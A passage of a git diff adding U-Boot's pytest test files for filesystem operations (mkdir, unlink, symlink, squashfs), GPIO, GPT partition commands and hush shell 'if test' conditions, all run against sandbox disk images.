+            assert('./'   in output)
+            assert('../'  in output)
+            assert_fs_integrity(fs_type, fs_img)
+
+
+    def test_mkdir2(self, u_boot_console, fs_obj_mkdir):
+        """
+        Test Case 2 - create a directory under a sub-directory
+        """
+        fs_type,fs_img = fs_obj_mkdir
+        with u_boot_console.log.section('Test Case 2 - mkdir (sub-sub directory)'):
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%smkdir host 0:0 dir1/dir2' % fs_type,
+                '%sls host 0:0 dir1' % fs_type])
+            assert('dir2/' in ''.join(output))
+
+            output = u_boot_console.run_command(
+                '%sls host 0:0 dir1/dir2' % fs_type)
+            assert('./'   in output)
+            assert('../'  in output)
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_mkdir3(self, u_boot_console, fs_obj_mkdir):
+        """
+        Test Case 3 - trying to create a directory with a non-existing
+        path should fail
+        """
+        fs_type,fs_img = fs_obj_mkdir
+        with u_boot_console.log.section('Test Case 3 - mkdir (non-existing path)'):
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%smkdir host 0:0 none/dir3' % fs_type])
+            assert('Unable to create a directory' in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_mkdir4(self, u_boot_console, fs_obj_mkdir):
+        """
+        Test Case 4 - trying to create "." should fail
+        """
+        fs_type,fs_img = fs_obj_mkdir
+        with u_boot_console.log.section('Test Case 4 - mkdir (".")'):
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%smkdir host 0:0 .' % fs_type])
+            assert('Unable to create a directory' in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_mkdir5(self, u_boot_console, fs_obj_mkdir):
+        """
+        Test Case 5 - trying to create ".." should fail
+        """
+        fs_type,fs_img = fs_obj_mkdir
+        with u_boot_console.log.section('Test Case 5 - mkdir ("..")'):
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%smkdir host 0:0 ..' % fs_type])
+            assert('Unable to create a directory' in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_mkdir6(self, u_boot_console, fs_obj_mkdir):
+        """
+        'Test Case 6 - create as many directories as amount of directory
+        entries goes beyond a cluster size)'
+        """
+        fs_type,fs_img = fs_obj_mkdir
+        with u_boot_console.log.section('Test Case 6 - mkdir (create many)'):
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%smkdir host 0:0 dir6' % fs_type,
+                '%sls host 0:0 /' % fs_type])
+            assert('dir6/' in ''.join(output))
+
+            for i in range(0, 20):
+                output = u_boot_console.run_command(
+                    '%smkdir host 0:0 dir6/0123456789abcdef%02x'
+                    % (fs_type, i))
+            output = u_boot_console.run_command('%sls host 0:0 dir6' % fs_type)
+            assert('0123456789abcdef00/'  in output)
+            assert('0123456789abcdef13/'  in output)
+
+            output = u_boot_console.run_command(
+                '%sls host 0:0 dir6/0123456789abcdef13/.' % fs_type)
+            assert('./'   in output)
+            assert('../'  in output)
+
+            output = u_boot_console.run_command(
+                '%sls host 0:0 dir6/0123456789abcdef13/..' % fs_type)
+            assert('0123456789abcdef00/'  in output)
+            assert('0123456789abcdef13/'  in output)
+            assert_fs_integrity(fs_type, fs_img)
diff --git a/roms/u-boot/test/py/tests/test_fs/test_squashfs/sqfs_common.py b/roms/u-boot/test/py/tests/test_fs/test_squashfs/sqfs_common.py
new file mode 100644
index 000000000..c96f92c1d
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_fs/test_squashfs/sqfs_common.py
@@ -0,0 +1,76 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (C) 2020 Bootlin
+# Author: Joao Marcos Costa 
+
+import os
+import random
+import string
+import subprocess
+
+def sqfs_get_random_letters(size):
+    letters = []
+    for i in range(0, size):
+            letters.append(random.choice(string.ascii_letters))
+
+    return ''.join(letters)
+
+def sqfs_generate_file(path, size):
+    content = sqfs_get_random_letters(size)
+    file = open(path, "w")
+    file.write(content)
+    file.close()
+
+class Compression:
+    def __init__(self, name, files, sizes, block_size = 4096):
+        self.name = name
+        self.files = files
+        self.sizes = sizes
+        self.mksquashfs_opts = " -b " + str(block_size) + " -comp " + self.name
+
+    def add_opt(self, opt):
+        self.mksquashfs_opts += " " + opt
+
+    def gen_image(self, build_dir):
+        src = os.path.join(build_dir, "sqfs_src/")
+        os.mkdir(src)
+        for (f, s) in zip(self.files, self.sizes):
+            sqfs_generate_file(src + f, s)
+
+        # the symbolic link always targets the first file
+        os.symlink(self.files[0], src + "sym")
+
+        sqfs_img = os.path.join(build_dir, "sqfs-" + self.name)
+        i_o = src + " " + sqfs_img
+        opts = self.mksquashfs_opts
+        try:
+            subprocess.run(["mksquashfs " + i_o + opts], shell = True, check = True)
+        except:
+            print("mksquashfs error. Compression type: " + self.name)
+            raise RuntimeError
+
+    def clean_source(self, build_dir):
+        src = os.path.join(build_dir, "sqfs_src/")
+        for f in self.files:
+            os.remove(src + f)
+        os.remove(src + "sym")
+        os.rmdir(src)
+
+    def cleanup(self, build_dir):
+        self.clean_source(build_dir)
+        sqfs_img = os.path.join(build_dir, "sqfs-" + self.name)
+        os.remove(sqfs_img)
+
+files = ["blks_only", "blks_frag", "frag_only"]
+sizes = [4096, 5100, 100]
+gzip = Compression("gzip", files, sizes)
+zstd = Compression("zstd", files, sizes)
+lzo = Compression("lzo", files, sizes)
+
+# use fragment blocks for files larger than block_size
+gzip.add_opt("-always-use-fragments")
+zstd.add_opt("-always-use-fragments")
+
+# avoid fragments if lzo is used
+lzo.add_opt("-no-fragments")
+
+comp_opts = [gzip, zstd, lzo]
diff --git a/roms/u-boot/test/py/tests/test_fs/test_squashfs/test_sqfs_load.py b/roms/u-boot/test/py/tests/test_fs/test_squashfs/test_sqfs_load.py
new file mode 100644
index 000000000..9e9006238
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_fs/test_squashfs/test_sqfs_load.py
@@ -0,0 +1,46 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (C) 2020 Bootlin
+# Author: Joao Marcos Costa 
+
+import os
+import pytest
+from sqfs_common import *
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_fs_generic')
+@pytest.mark.buildconfigspec('cmd_squashfs')
+@pytest.mark.buildconfigspec('fs_squashfs')
+@pytest.mark.requiredtool('mksquashfs')
+def test_sqfs_load(u_boot_console):
+    build_dir = u_boot_console.config.build_dir
+    command = "sqfsload host 0 $kernel_addr_r "
+
+    for opt in comp_opts:
+        # generate and load the squashfs image
+        try:
+            opt.gen_image(build_dir)
+        except RuntimeError:
+            opt.clean_source(build_dir)
+            # skip unsupported compression types
+            continue
+
+        path = os.path.join(build_dir, "sqfs-" + opt.name)
+        output = u_boot_console.run_command("host bind 0 " + path)
+
+        output = u_boot_console.run_command(command + "xxx")
+        assert "File not found." in output
+
+        for (f, s) in zip(opt.files, opt.sizes):
+            try:
+                output = u_boot_console.run_command(command + f)
+                assert str(s) in output
+            except:
+                assert False
+                opt.cleanup(build_dir)
+
+        # test symbolic link
+        output = u_boot_console.run_command(command + "sym")
+        assert str(opt.sizes[0]) in output
+
+        # remove generated files
+        opt.cleanup(build_dir)
diff --git a/roms/u-boot/test/py/tests/test_fs/test_squashfs/test_sqfs_ls.py b/roms/u-boot/test/py/tests/test_fs/test_squashfs/test_sqfs_ls.py
new file mode 100644
index 000000000..a0dca2e2f
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_fs/test_squashfs/test_sqfs_ls.py
@@ -0,0 +1,36 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (C) 2020 Bootlin
+# Author: Joao Marcos Costa 
+
+import os
+import pytest
+from sqfs_common import *
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_fs_generic')
+@pytest.mark.buildconfigspec('cmd_squashfs')
+@pytest.mark.buildconfigspec('fs_squashfs')
+@pytest.mark.requiredtool('mksquashfs')
+def test_sqfs_ls(u_boot_console):
+    build_dir = u_boot_console.config.build_dir
+    for opt in comp_opts:
+        try:
+            opt.gen_image(build_dir)
+        except RuntimeError:
+            opt.clean_source(build_dir)
+            # skip unsupported compression types
+            continue
+        path = os.path.join(build_dir, "sqfs-" + opt.name)
+        output = u_boot_console.run_command("host bind 0 " + path)
+
+        try:
+            # list files in root directory
+            output = u_boot_console.run_command("sqfsls host 0")
+            assert str(len(opt.files) + 1) + " file(s), 0 dir(s)" in output
+            assert "   sym" in output
+            output = u_boot_console.run_command("sqfsls host 0 xxx")
+            assert "** Cannot find directory. **" in output
+        except:
+            opt.cleanup(build_dir)
+            assert False
+        opt.cleanup(build_dir)
diff --git a/roms/u-boot/test/py/tests/test_fs/test_symlink.py b/roms/u-boot/test/py/tests/test_fs/test_symlink.py
new file mode 100644
index 000000000..9ced101a2
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_fs/test_symlink.py
@@ -0,0 +1,130 @@
+# SPDX-License-Identifier:      GPL-2.0+
+# Copyright (c) 2019, Texas Instrument
+# Author: Jean-Jacques Hiblot 
+#
+# U-Boot File System:symlink Test
+
+"""
+This test verifies unlink operation (deleting a file or a directory)
+on file system.
+"""
+
+import pytest
+import re
+from fstest_defs import *
+from fstest_helpers import assert_fs_integrity
+
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.slow
+class TestSymlink(object):
+    def test_symlink1(self, u_boot_console, fs_obj_symlink):
+        """
+        Test Case 1 - create a link. and follow it when reading
+        """
+        fs_type, fs_img, md5val = fs_obj_symlink
+        with u_boot_console.log.section('Test Case 1 - create link and read'):
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                'setenv filesize',
+                'ln host 0:0 %s /%s.link ' % (SMALL_FILE, SMALL_FILE),
+            ])
+            assert('' in ''.join(output))
+
+            output = u_boot_console.run_command_list([
+                '%sload host 0:0 %x /%s.link' % (fs_type, ADDR, SMALL_FILE),
+                'printenv filesize'])
+            assert('filesize=100000' in ''.join(output))
+
+            # Test Case 4b - Read full 1MB of small file
+            output = u_boot_console.run_command_list([
+                'md5sum %x $filesize' % ADDR,
+                'setenv filesize'])
+            assert(md5val[0] in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_symlink2(self, u_boot_console, fs_obj_symlink):
+        """
+        Test Case 2 - create chained links
+        """
+        fs_type, fs_img, md5val = fs_obj_symlink
+        with u_boot_console.log.section('Test Case 2 - create chained links'):
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                'setenv filesize',
+                'ln host 0:0 %s /%s.link1 ' % (SMALL_FILE, SMALL_FILE),
+                'ln host 0:0 /%s.link1 /SUBDIR/%s.link2' % (
+                    SMALL_FILE, SMALL_FILE),
+                'ln host 0:0 SUBDIR/%s.link2 /%s.link3' % (
+                    SMALL_FILE, SMALL_FILE),
+            ])
+            assert('' in ''.join(output))
+
+            output = u_boot_console.run_command_list([
+                '%sload host 0:0 %x /%s.link3' % (fs_type, ADDR, SMALL_FILE),
+                'printenv filesize'])
+            assert('filesize=100000' in ''.join(output))
+
+            # Test Case 4b - Read full 1MB of small file
+            output = u_boot_console.run_command_list([
+                'md5sum %x $filesize' % ADDR,
+                'setenv filesize'])
+            assert(md5val[0] in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_symlink3(self, u_boot_console, fs_obj_symlink):
+        """
+        Test Case 3 - replace file/link with link
+        """
+        fs_type, fs_img, md5val = fs_obj_symlink
+        with u_boot_console.log.section('Test Case 1 - create link and read'):
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                'setenv filesize',
+                'ln host 0:0 %s /%s ' % (MEDIUM_FILE, SMALL_FILE),
+                'ln host 0:0 %s /%s.link ' % (MEDIUM_FILE, MEDIUM_FILE),
+            ])
+            assert('' in ''.join(output))
+
+            output = u_boot_console.run_command_list([
+                '%sload host 0:0 %x /%s' % (fs_type, ADDR, SMALL_FILE),
+                'printenv filesize'])
+            assert('filesize=a00000' in ''.join(output))
+
+            output = u_boot_console.run_command_list([
+                'md5sum %x $filesize' % ADDR,
+                'setenv filesize'])
+            assert(md5val[1] in ''.join(output))
+
+            output = u_boot_console.run_command_list([
+                'ln host 0:0 %s.link /%s ' % (MEDIUM_FILE, SMALL_FILE),
+                '%sload host 0:0 %x /%s' % (fs_type, ADDR, SMALL_FILE),
+                'printenv filesize'])
+            assert('filesize=a00000' in ''.join(output))
+
+            output = u_boot_console.run_command_list([
+                'md5sum %x $filesize' % ADDR,
+                'setenv filesize'])
+            assert(md5val[1] in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_symlink4(self, u_boot_console, fs_obj_symlink):
+        """
+        Test Case 4 - create a broken link
+        """
+        fs_type, fs_img, md5val = fs_obj_symlink
+        with u_boot_console.log.section('Test Case 1 - create link and read'):
+
+            output = u_boot_console.run_command_list([
+                'setenv filesize',
+                'ln host 0:0 nowhere /link ',
+            ])
+            assert('' in ''.join(output))
+
+            output = u_boot_console.run_command(
+                '%sload host 0:0 %x /link' %
+                (fs_type, ADDR))
+            with u_boot_console.disable_check('error_notification'):
+                output = u_boot_console.run_command('printenv filesize')
+            assert('"filesize" not defined' in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
diff --git a/roms/u-boot/test/py/tests/test_fs/test_unlink.py b/roms/u-boot/test/py/tests/test_fs/test_unlink.py
new file mode 100644
index 000000000..97aafc63b
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_fs/test_unlink.py
@@ -0,0 +1,118 @@
+# SPDX-License-Identifier:      GPL-2.0+
+# Copyright (c) 2018, Linaro Limited
+# Author: Takahiro Akashi 
+#
+# U-Boot File System:unlink Test
+
+"""
+This test verifies unlink operation (deleting a file or a directory)
+on file system.
+"""
+
+import pytest
+from fstest_helpers import assert_fs_integrity
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.slow
+class TestUnlink(object):
+    def test_unlink1(self, u_boot_console, fs_obj_unlink):
+        """
+        Test Case 1 - delete a file
+        """
+        fs_type,fs_img = fs_obj_unlink
+        with u_boot_console.log.section('Test Case 1 - unlink (file)'):
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%srm host 0:0 dir1/file1' % fs_type,
+                '%sls host 0:0 dir1/file1' % fs_type])
+            assert('' == ''.join(output))
+
+            output = u_boot_console.run_command(
+                '%sls host 0:0 dir1/' % fs_type)
+            assert(not 'file1' in output)
+            assert('file2' in output)
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_unlink2(self, u_boot_console, fs_obj_unlink):
+        """
+        Test Case 2 - delete many files
+        """
+        fs_type,fs_img = fs_obj_unlink
+        with u_boot_console.log.section('Test Case 2 - unlink (many)'):
+            output = u_boot_console.run_command('host bind 0 %s' % fs_img)
+
+            for i in range(0, 20):
+                output = u_boot_console.run_command_list([
+                    '%srm host 0:0 dir2/0123456789abcdef%02x' % (fs_type, i),
+                    '%sls host 0:0 dir2/0123456789abcdef%02x' % (fs_type, i)])
+                assert('' == ''.join(output))
+
+            output = u_boot_console.run_command(
+                '%sls host 0:0 dir2' % fs_type)
+            assert('0 file(s), 2 dir(s)' in output)
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_unlink3(self, u_boot_console, fs_obj_unlink):
+        """
+        Test Case 3 - trying to delete a non-existing file should fail
+        """
+        fs_type,fs_img = fs_obj_unlink
+        with u_boot_console.log.section('Test Case 3 - unlink (non-existing)'):
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%srm host 0:0 dir1/nofile' % fs_type])
+            assert('nofile: doesn\'t exist' in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_unlink4(self, u_boot_console, fs_obj_unlink):
+        """
+        Test Case 4 - delete an empty directory
+        """
+        fs_type,fs_img = fs_obj_unlink
+        with u_boot_console.log.section('Test Case 4 - unlink (directory)'):
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%srm host 0:0 dir4' % fs_type])
+            assert('' == ''.join(output))
+
+            output = u_boot_console.run_command(
+                '%sls host 0:0 /' % fs_type)
+            assert(not 'dir4' in output)
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_unlink5(self, u_boot_console, fs_obj_unlink):
+        """
+        Test Case 5 - trying to deleting a non-empty directory ".."
+        should fail
+        """
+        fs_type,fs_img = fs_obj_unlink
+        with u_boot_console.log.section('Test Case 5 - unlink ("non-empty directory")'):
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%srm host 0:0 dir5' % fs_type])
+            assert('directory is not empty' in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_unlink6(self, u_boot_console, fs_obj_unlink):
+        """
+        Test Case 6 - trying to deleting a "." should fail
+        """
+        fs_type,fs_img = fs_obj_unlink
+        with u_boot_console.log.section('Test Case 6 - unlink (".")'):
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%srm host 0:0 dir5/.' % fs_type])
+            assert('directory is not empty' in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_unlink7(self, u_boot_console, fs_obj_unlink):
+        """
+        Test Case 7 - trying to deleting a ".." should fail
+        """
+        fs_type,fs_img = fs_obj_unlink
+        with u_boot_console.log.section('Test Case 7 - unlink ("..")'):
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%srm host 0:0 dir5/..' % fs_type])
+            assert('directory is not empty' in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
diff --git a/roms/u-boot/test/py/tests/test_gpio.py b/roms/u-boot/test/py/tests/test_gpio.py
new file mode 100644
index 000000000..8c64f686b
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_gpio.py
@@ -0,0 +1,37 @@
+# SPDX-License-Identifier: GPL-2.0+
+
+import pytest
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpio')
+def test_gpio_input(u_boot_console):
+    """Test that gpio input correctly returns the value of a gpio pin."""
+
+    response = u_boot_console.run_command('gpio input 0; echo rc:$?')
+    expected_response = 'rc:0'
+    assert(expected_response in response)
+    response = u_boot_console.run_command('gpio toggle 0; gpio input 0; echo rc:$?')
+    expected_response = 'rc:1'
+    assert(expected_response in response)
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpio')
+def test_gpio_exit_statuses(u_boot_console):
+    """Test that non-input gpio commands correctly return the command
+    success/failure status."""
+
+    expected_response = 'rc:0'
+    response = u_boot_console.run_command('gpio clear 0; echo rc:$?')
+    assert(expected_response in response)
+    response = u_boot_console.run_command('gpio set 0; echo rc:$?')
+    assert(expected_response in response)
+    response = u_boot_console.run_command('gpio toggle 0; echo rc:$?')
+    assert(expected_response in response)
+    response = u_boot_console.run_command('gpio status -a; echo rc:$?')
+    assert(expected_response in response)
+
+    expected_response = 'rc:1'
+    response = u_boot_console.run_command('gpio nonexistent-command; echo rc:$?')
+    assert(expected_response in response)
+    response = u_boot_console.run_command('gpio input 200; echo rc:$?')
+    assert(expected_response in response)
diff --git a/roms/u-boot/test/py/tests/test_gpt.py b/roms/u-boot/test/py/tests/test_gpt.py
new file mode 100644
index 000000000..229d7eb2c
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_gpt.py
@@ -0,0 +1,178 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2017 Alison Chaiken
+# Copyright (c) 2017, NVIDIA CORPORATION. All rights reserved.
+
+# Test GPT manipulation commands.
+
+import os
+import pytest
+import u_boot_utils
+
+"""
+These tests rely on a 4 MB disk image, which is automatically created by
+the test.
+"""
+
+class GptTestDiskImage(object):
+    """Disk Image used by the GPT tests."""
+
+    def __init__(self, u_boot_console):
+        """Initialize a new GptTestDiskImage object.
+
+        Args:
+            u_boot_console: A U-Boot console.
+
+        Returns:
+            Nothing.
+        """
+
+        filename = 'test_gpt_disk_image.bin'
+
+        persistent = u_boot_console.config.persistent_data_dir + '/' + filename
+        self.path = u_boot_console.config.result_dir  + '/' + filename
+
+        with u_boot_utils.persistent_file_helper(u_boot_console.log, persistent):
+            if os.path.exists(persistent):
+                u_boot_console.log.action('Disk image file ' + persistent +
+                    ' already exists')
+            else:
+                u_boot_console.log.action('Generating ' + persistent)
+                fd = os.open(persistent, os.O_RDWR | os.O_CREAT)
+                os.ftruncate(fd, 4194304)
+                os.close(fd)
+                cmd = ('sgdisk',
+                    '--disk-guid=375a56f7-d6c9-4e81-b5f0-09d41ca89efe',
+                    persistent)
+                u_boot_utils.run_and_log(u_boot_console, cmd)
+                # part1 offset 1MB size 1MB
+                cmd = ('sgdisk', '--new=1:2048:4095', '--change-name=1:part1',
+                    persistent)
+                # part2 offset 2MB size 1.5MB
+                u_boot_utils.run_and_log(u_boot_console, cmd)
+                cmd = ('sgdisk', '--new=2:4096:7167', '--change-name=2:part2',
+                    persistent)
+                u_boot_utils.run_and_log(u_boot_console, cmd)
+                cmd = ('sgdisk', '--load-backup=' + persistent)
+                u_boot_utils.run_and_log(u_boot_console, cmd)
+
+        cmd = ('cp', persistent, self.path)
+        u_boot_utils.run_and_log(u_boot_console, cmd)
+
+gtdi = None
+@pytest.fixture(scope='function')
+def state_disk_image(u_boot_console):
+    """pytest fixture to provide a GptTestDiskImage object to tests.
+    This is function-scoped because it uses u_boot_console, which is also
+    function-scoped. However, we don't need to actually do any function-scope
+    work, so this simply returns the same object over and over each time."""
+
+    global gtdi
+    if not gtdi:
+        gtdi = GptTestDiskImage(u_boot_console)
+    return gtdi
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.buildconfigspec('cmd_part')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_read(state_disk_image, u_boot_console):
+    """Test the gpt read command."""
+
+    u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+    output = u_boot_console.run_command('gpt read host 0')
+    assert 'Start 1MiB, size 1MiB' in output
+    assert 'Block size 512, name part1' in output
+    assert 'Start 2MiB, size 1MiB' in output
+    assert 'Block size 512, name part2' in output
+    output = u_boot_console.run_command('part list host 0')
+    assert '0x00000800	0x00000fff	"part1"' in output
+    assert '0x00001000	0x00001bff	"part2"' in output
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_verify(state_disk_image, u_boot_console):
+    """Test the gpt verify command."""
+
+    u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+    output = u_boot_console.run_command('gpt verify host 0')
+    assert 'Verify GPT: success!' in output
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_guid(state_disk_image, u_boot_console):
+    """Test the gpt guid command."""
+
+    u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+    output = u_boot_console.run_command('gpt guid host 0')
+    assert '375a56f7-d6c9-4e81-b5f0-09d41ca89efe' in output
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_save_guid(state_disk_image, u_boot_console):
+    """Test the gpt guid command to save GUID into a string."""
+
+    if u_boot_console.config.buildconfig.get('config_cmd_gpt', 'n') != 'y':
+        pytest.skip('gpt command not supported')
+    u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+    output = u_boot_console.run_command('gpt guid host 0 newguid')
+    output = u_boot_console.run_command('printenv newguid')
+    assert '375a56f7-d6c9-4e81-b5f0-09d41ca89efe' in output
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.buildconfigspec('cmd_gpt_rename')
+@pytest.mark.buildconfigspec('cmd_part')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_rename_partition(state_disk_image, u_boot_console):
+    """Test the gpt rename command to write partition names."""
+
+    u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+    u_boot_console.run_command('gpt rename host 0 1 first')
+    output = u_boot_console.run_command('gpt read host 0')
+    assert 'name first' in output
+    u_boot_console.run_command('gpt rename host 0 2 second')
+    output = u_boot_console.run_command('gpt read host 0')
+    assert 'name second' in output
+    output = u_boot_console.run_command('part list host 0')
+    assert '0x00000800	0x00000fff	"first"' in output
+    assert '0x00001000	0x00001bff	"second"' in output
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.buildconfigspec('cmd_gpt_rename')
+@pytest.mark.buildconfigspec('cmd_part')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_swap_partitions(state_disk_image, u_boot_console):
+    """Test the gpt swap command to exchange two partition names."""
+
+    u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+    output = u_boot_console.run_command('part list host 0')
+    assert '0x00000800	0x00000fff	"first"' in output
+    assert '0x00001000	0x00001bff	"second"' in output
+    u_boot_console.run_command('gpt swap host 0 first second')
+    output = u_boot_console.run_command('part list host 0')
+    assert '0x00000800	0x00000fff	"second"' in output
+    assert '0x00001000	0x00001bff	"first"' in output
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_gpt')
+@pytest.mark.buildconfigspec('cmd_part')
+@pytest.mark.requiredtool('sgdisk')
+def test_gpt_write(state_disk_image, u_boot_console):
+    """Test the gpt write command."""
+
+    u_boot_console.run_command('host bind 0 ' + state_disk_image.path)
+    output = u_boot_console.run_command('gpt write host 0 "name=all,size=0"')
+    assert 'Writing GPT: success!' in output
+    output = u_boot_console.run_command('part list host 0')
+    assert '0x00000022	0x00001fde	"all"' in output
+    output = u_boot_console.run_command('gpt write host 0 "uuid_disk=375a56f7-d6c9-4e81-b5f0-09d41ca89efe;name=first,start=1M,size=1M;name=second,start=0x200000,size=0x180000;"')
+    assert 'Writing GPT: success!' in output
+    output = u_boot_console.run_command('part list host 0')
+    assert '0x00000800	0x00000fff	"first"' in output
+    assert '0x00001000	0x00001bff	"second"' in output
+    output = u_boot_console.run_command('gpt guid host 0')
+    assert '375a56f7-d6c9-4e81-b5f0-09d41ca89efe' in output
diff --git a/roms/u-boot/test/py/tests/test_handoff.py b/roms/u-boot/test/py/tests/test_handoff.py
new file mode 100644
index 000000000..038f03064
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_handoff.py
@@ -0,0 +1,15 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2016 Google, Inc
+
+import pytest
+
+# Magic number to check that SPL handoff is working
+TEST_HANDOFF_MAGIC = 0x14f93c7b
+
+@pytest.mark.boardspec('sandbox_spl')
+@pytest.mark.buildconfigspec('spl')
+def test_handoff(u_boot_console):
+    """Test that of-platdata can be generated and used in sandbox"""
+    cons = u_boot_console
+    response = cons.run_command('sb handoff')
+    assert ('SPL handoff magic %x' % TEST_HANDOFF_MAGIC) in response
diff --git a/roms/u-boot/test/py/tests/test_help.py b/roms/u-boot/test/py/tests/test_help.py
new file mode 100644
index 000000000..d50295e5b
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_help.py
@@ -0,0 +1,8 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+
+def test_help(u_boot_console):
+    """Test that the "help" command can be executed."""
+
+    u_boot_console.run_command('help')
diff --git a/roms/u-boot/test/py/tests/test_hush_if_test.py b/roms/u-boot/test/py/tests/test_hush_if_test.py
new file mode 100644
index 000000000..d117921a6
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_hush_if_test.py
@@ -0,0 +1,192 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+# Test operation of the "if" shell command.
+
+import os
+import os.path
+import pytest
+
+# TODO: These tests should be converted to a C test.
+# For more information please take a look at the thread
+# https://lists.denx.de/pipermail/u-boot/2019-October/388732.html
+
+pytestmark = pytest.mark.buildconfigspec('hush_parser')
+
+# The list of "if test" conditions to test.
+subtests = (
+    # Base if functionality.
+
+    ('true', True),
+    ('false', False),
+
+    # Basic operators.
+
+    ('test aaa = aaa', True),
+    ('test aaa = bbb', False),
+
+    ('test aaa != bbb', True),
+    ('test aaa != aaa', False),
+
+    ('test aaa < bbb', True),
+    ('test bbb < aaa', False),
+
+    ('test bbb > aaa', True),
+    ('test aaa > bbb', False),
+
+    ('test 123 -eq 123', True),
+    ('test 123 -eq 456', False),
+
+    ('test 123 -ne 456', True),
+    ('test 123 -ne 123', False),
+
+    ('test 123 -lt 456', True),
+    ('test 123 -lt 123', False),
+    ('test 456 -lt 123', False),
+
+    ('test 123 -le 456', True),
+    ('test 123 -le 123', True),
+    ('test 456 -le 123', False),
+
+    ('test 456 -gt 123', True),
+    ('test 123 -gt 123', False),
+    ('test 123 -gt 456', False),
+
+    ('test 456 -ge 123', True),
+    ('test 123 -ge 123', True),
+    ('test 123 -ge 456', False),
+
+    # Octal tests
+
+    ('test 010 -eq 010', True),
+    ('test 010 -eq 011', False),
+
+    ('test 010 -ne 011', True),
+    ('test 010 -ne 010', False),
+
+    # Hexadecimal tests
+
+    ('test 0x2000000 -gt 0x2000001', False),
+    ('test 0x2000000 -gt 0x2000000', False),
+    ('test 0x2000000 -gt 0x1ffffff', True),
+
+    # Mixed tests
+
+    ('test 010 -eq 10', False),
+    ('test 010 -ne 10', True),
+    ('test 0xa -eq 10', True),
+    ('test 0xa -eq 012', True),
+
